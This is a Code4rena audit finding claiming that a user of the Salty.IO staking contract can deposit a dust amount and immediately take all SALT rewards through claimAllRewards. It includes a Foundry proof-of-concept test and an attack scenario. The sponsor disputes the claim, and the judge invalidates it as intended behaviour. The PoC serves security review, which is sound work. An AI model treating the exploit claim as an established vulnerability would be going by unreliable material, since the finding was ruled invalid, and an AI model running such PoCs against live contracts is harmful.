An attacker can claim all SALT rewards by using claimAllRewards

[c4-bot-8]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L166-L167

Vulnerability details

Impact

A depositor can deposit a low amount into pool and claim all rewards immediately by avoiding the cooldownExpiration.

Proof of Concept

The exploit is done in claimAllRewards() becuase this method has no cool down like _decreaseUserShare(), it transfers the rewards directly to the claimer without checking user.cooldownExpiration like in _decreaseUserShare() function.

In claimAllRewards() a direct transfer is made:

// Send the actual rewards
            salt.safeTransfer( msg.sender, claimableRewards );

but in _decreaseUserShare() there is a cool down expiration check:

if ( useCooldown )
        if ( msg.sender != address(exchangeConfig.dao()) ) // DAO doesn't use the cooldown
            {
            require( block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire" );

            // Update the cooldown expiration for future transactions
            user.cooldownExpiration = block.timestamp + stakingConfig.modificationCooldown();
            }

Alice Attack Scenario 1- The protocol will Add SALT rewards let's say a value of 10000000000000000000 SALT (10 ether) = 10e18. 2- Alice will deposit 0.000000001 ether, 0.000000001 ether for token A and B which is 1000000000 = 1e9. 3- Alice will claim all rewards immediately after her previous deposit by calling claimAllRewards() because there is no Cool down time to hold her claim. 4- Bob and Charile will deposit different amounts of Token A,B after Alice but will not gain any rewards since all rewards already been out of the pool (check POC)

POC - foundry:

To Run The Test:

COVERAGE="yes" NETWORK="sep" forge test --match-test test03_AliceAttack_DepositAndClaimAllRewards -vv --rpc-url YOUR_Alchemy_RPC_URL

Code: (add this code as filename.t.sol under "./src/staking/tests" folder)

// SPDX-License-Identifier: BUSL 1.1
pragma solidity =0.8.22;

import "../../dev/Deployment.sol";
import "./TestStakingRewards.sol";
import "forge-std/console.sol";

contract LiquidityTest is Deployment
    {
    bytes32[] public poolIDs;
    bytes32 public pool1;
    bytes32 public pool2;

    IERC20 public token1;
    IERC20 public token2;
    IERC20 public token3;

    address public constant alice = address(0x1111);
    address public constant bob = address(0x2222);
    address public constant charlie = address(0x3333);

TestStakingRewards public stakingRewards;

constructor()
        {
        vm.prank(DEPLOYER);
        stakingRewards = new TestStakingRewards(exchangeConfig, poolsConfig, stakingConfig );
        }

    function setUp() public
        {
        // If $COVERAGE=yes, create an instance of the contract so that coverage testing can work
        // Otherwise, what is tested is the actual deployed contract on the blockchain (as specified in Deployment.sol)
        if ( keccak256(bytes(vm.envString("COVERAGE" ))) == keccak256(bytes("yes" )))
            initializeContracts();

        grantAccessAlice();
        grantAccessBob();
        grantAccessCharlie();
        grantAccessDeployer();
        grantAccessDefault();

        finalizeBootstrap();

        vm.prank(address(daoVestingWallet));
        salt.transfer(DEPLOYER, 1000000 ether);

        token1 = new TestERC20("TEST", 18);
        token2 = new TestERC20("TEST", 18);
        token3 = new TestERC20("TEST", 18);

        pool1 = PoolUtils._poolID(token1, token2);
        pool2 = PoolUtils._poolID(token2, token3);

        poolIDs = new bytes32[](2);
        poolIDs[0] = pool1;
        poolIDs[1] = pool2;

        // Whitelist the _pools
        vm.startPrank( address(dao) );
        poolsConfig.whitelistPool( pools,   token1, token2);
        poolsConfig.whitelistPool( pools,   token2, token3);
        vm.stopPrank();

        vm.prank(DEPLOYER);
        salt.transfer( address(this), 100000 ether );

        salt.approve(address(collateralAndLiquidity), type(uint256).max);

        // Alice gets some salt and pool lps and approves max to staking
        token1.transfer(alice, 1000 ether);
        token2.transfer(alice, 1000 ether);
        token3.transfer(alice, 1000 ether);
        vm.startPrank(alice);
        token1.approve(address(collateralAndLiquidity), type(uint256).max);
        token2.approve(address(collateralAndLiquidity), type(uint256).max);
        token3.approve(address(collateralAndLiquidity), type(uint256).max);
        vm.stopPrank();

        // Bob gets some salt and pool lps and approves max to staking
        token1.transfer(bob, 1000 ether);
        token2.transfer(bob, 1000 ether);
        token3.transfer(bob, 1000 ether);
        vm.startPrank(bob);
        token1.approve(address(collateralAndLiquidity), type(uint256).max);
        token2.approve(address(collateralAndLiquidity), type(uint256).max);
        token3.approve(address(collateralAndLiquidity), type(uint256).max);
        vm.stopPrank();

        // Charlie gets some salt and pool lps and approves max to staking
        token1.transfer(charlie, 1000 ether);
        token2.transfer(charlie, 1000 ether);
        token3.transfer(charlie, 1000 ether);
        vm.startPrank(charlie);
        token1.approve(address(collateralAndLiquidity), type(uint256).max);
        token2.approve(address(collateralAndLiquidity), type(uint256).max);
        token3.approve(address(collateralAndLiquidity), type(uint256).max);
        vm.stopPrank();

        // DAO gets some salt and pool lps and approves max to staking
        token1.transfer(address(dao), 1000 ether);
        token2.transfer(address(dao), 1000 ether);
        token3.transfer(address(dao), 1000 ether);
        vm.startPrank(address(dao));
        token1.approve(address(collateralAndLiquidity), type(uint256).max);
        token2.approve(address(collateralAndLiquidity), type(uint256).max);
        token3.approve(address(collateralAndLiquidity), type(uint256).max);
        vm.stopPrank();
        }

    // Convenience function
    function totalSharesForPool( bytes32 poolID ) public view returns (uint256)
        {
        bytes32[] memory _pools2 = new bytes32[](1);
        _pools2[0] = poolID;

        return collateralAndLiquidity.totalSharesForPools(_pools2)[0];
        }

    function totalRewardsShares() internal view {
        console.log("\n");
        bytes32[] memory _pools = new bytes32[](1);
        _pools[0] = pool1;
        uint256 existingTotalShares = collateralAndLiquidity.totalSharesForPools(_pools)[0];
        console.log("totalShares", existingTotalShares);

        uint256 totalRewards_b = collateralAndLiquidity.totalRewardsForPools(_pools)[0];
        console.log("totalRewards", totalRewards_b);
    }

    function addSALTRewards(uint256 amount) internal {
        vm.prank(address(daoVestingWallet));
        salt.transfer(DEPLOYER, 1000000 ether); //transfert any big amount of salt
        //uint256 startingSaltDEPLOYER = salt.balanceOf(DEPLOYER);
        //console.log("startingSaltDEPLOYER",startingSaltDEPLOYER);
        vm.stopPrank();

        AddedReward[] memory rewards = new AddedReward[](1);
        uint256 rewardsAmount = amount;
        rewards[0] = AddedReward(pool1, rewardsAmount);
        vm.prank(DEPLOYER);
        salt.approve(DEPLOYER, type(uint256).max);
        collateralAndLiquidity.addSALTRewards(rewards);
        vm.stopPrank();
    }

    function depositLiquidityAndIncreaseShare(string memory senderName, address _sender,uint256 addedAmount1, uint256 addedAmount2,bool useZapping) internal {      
        console.log("\n");
        console.log("deposit", senderName);
        vm.prank(_sender);
        (uint256 addedAmountA, uint256 addedAmountB, uint256 addedLiquidity) = collateralAndLiquidity.depositLiquidityAndIncreaseShare( token1, token2, addedAmount1, addedAmount2,  0 ether, block.timestamp, useZapping );
        console.log("addedAmountA", addedAmountA);
        console.log("addedAmountB", addedAmountB);
        console.log("addedLiquidity", addedLiquidity);
        //pool1 == PoolUtils._poolID(token1, token2);
        uint256 userShare = collateralAndLiquidity.userShareForPool(  _sender,  pool1 );
        uint256 userRewards = collateralAndLiquidity.userRewardForPool(  _sender,  pool1 );
        //userVirtualRewardsForPool
        console.log("userShare", userShare);
        console.log("userReward", userRewards);
        vm.stopPrank();
    }

    function withdrawAndClaim(string memory senderName, address _sender, uint256 withdrawAmount) internal {
        console.log("\n");
        console.log("withdraw", senderName);
        uint256 saltBalanceBefore = salt.balanceOf(_sender);
        console.log("SALT Rewards Balance Before", saltBalanceBefore);
        vm.prank(_sender);
        (uint256 reclaimedWBTC, uint256 reclaimedWETH) = collateralAndLiquidity.withdrawLiquidityAndClaim(token1, token2, withdrawAmount, 0, 0, block.timestamp);
        vm.stopPrank();
        uint256 saltBalanceAfter = salt.balanceOf(_sender);
        console.log("SALT Rewards Balance After", saltBalanceAfter);
        console.log("reclaimedWBTC", reclaimedWBTC);
        console.log("reclaimedWETH", reclaimedWETH);
    }

    function claimAllRewards(string memory senderName, address _sender) internal{
        console.log("\n");
        console.log("claimAllRewards", senderName);
        uint256 saltBalanceBefore = salt.balanceOf(_sender);
        console.log("SALT Rewards Balance Before", saltBalanceBefore);
        vm.prank(_sender);
        collateralAndLiquidity.claimAllRewards(poolIDs);
        vm.stopPrank();
        uint256 saltBalanceAfter = salt.balanceOf(_sender);
        console.log("SALT Rewards Balance After", saltBalanceAfter);
    }

    //Attack senario of Alice
    function test03_AliceAttack_DepositAndClaimAllRewards() external {
        console.log("test03_AliceAttack_DepositAndClaimAllRewards");
        uint256 addedRewards = 10 ether;

        totalRewardsShares();

        addSALTRewards(addedRewards);

        totalRewardsShares();

        bool useZapping = false;

        assertEq( salt.balanceOf(alice), 0 , "Alice has no SALT rewards" );

        depositLiquidityAndIncreaseShare("alice",alice, 0.000000001 ether, 0.000000001 ether, useZapping);
        claimAllRewards("alice", alice);

        depositLiquidityAndIncreaseShare("bob", bob, 1.5 ether, 1.5 ether, useZapping);

        depositLiquidityAndIncreaseShare("charlie", charlie, 1 ether, 1 ether, useZapping);

        totalRewardsShares();

        vm.warp( block.timestamp + 1 hours );

        withdrawAndClaim("bob", bob, 3 ether);

        withdrawAndClaim("charlie", charlie, 2 ether - (1000));//

        assertEq( salt.balanceOf(alice), addedRewards, "Alice gained all SALT rewards" );

    }

    }

Tools Used

Manual Review VS + Foundry

Recommended Mitigation Steps

• add cool down expiration in claimAllRewards() just like _decreaseUserShare()

Assessed type

Other

[c4-judge]

Picodes marked the issue as primary issue

[c4-sponsor]

othernet-global (sponsor) disputed

[othernet-global]

This is acceptable. Users can claim all the rewards they are entitled to after depositing liquidity.

[Picodes]

Invalidating as this is by design

[c4-judge]

Picodes marked the issue as unsatisfactory: Invalid